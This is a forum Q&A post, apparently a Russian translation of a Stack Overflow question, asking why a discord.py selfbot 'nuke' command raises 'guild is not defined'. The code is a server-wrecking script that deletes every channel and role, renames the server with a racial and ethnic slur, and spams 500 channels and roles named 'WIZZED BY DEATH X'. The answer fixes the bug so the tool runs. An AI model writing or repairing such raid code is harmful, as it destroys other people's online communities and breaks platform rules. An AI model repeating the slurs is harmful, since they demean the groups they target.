Почему гильдия не определена | discord.py

#python #discord.py

Вопрос:

Здравствуйте, я разработчик-новичок и создаю инструменты для людей, которые в большинстве своем предназначены для образовательных целей, и я сделал селфбота для личного использования, и я создал вторую версию команды nuke в коде, по какой-то причине в нем постоянно говорилось «гильдия не определена», Я не знаю, как решить эту ошибку, если вы знаете, как ответить на мой вопрос

Код

 @client.command() async def nuke2(ctx):   await ctx.message.delete()  print(f"Nuking the guild.")  for channel in ctx.guild.channels:  try:  await channel.delete()  print(Fore.GREEN f"CHANNEL: a channel deleted")  except:  print(Fore.RED f"CHANNEL: Couldn't delete a channel")  for role in ctx.guild.roles:  try:  await ctx.role.delete()  print(Fore.GREEN f"ROLE: role deleted")  except:  print(Fore.RED f"ROLE: Couldn't delete a role")  await ctx.guild.edit(default_notifications=discord.NotificationLevel.all_messages,verification_level=discord.VerificationLevel.extreme ,name=f"{guild.id}chingchongniggerserver{guild.id}", icon=None)  for x in range(500):  await ctx.guild.create_text_channel(name="WIZZED BY DEATH X")  await ctx.guild.create_voice_channel(name="WIZZED BY DEATH X")  await ctx.guild.create_category(name="WIZZED BY DEATH X")  for x in range(500):  await ctx.guild.create_role(name="WIZZED BY DEATH X")  return```  I can't send what the error looks like when running it since the python said the error code is on site-packages/discord so please solve this  

Ответ №1:

Вы должны использовать ctx.guild вместо guild в

 name=f"{guild.id}chingchongniggerserver{guild.id}"  

Комментарии:

1. О, я все время забывал, что это ctx.гильдия, а не гильдия, кстати, спасибо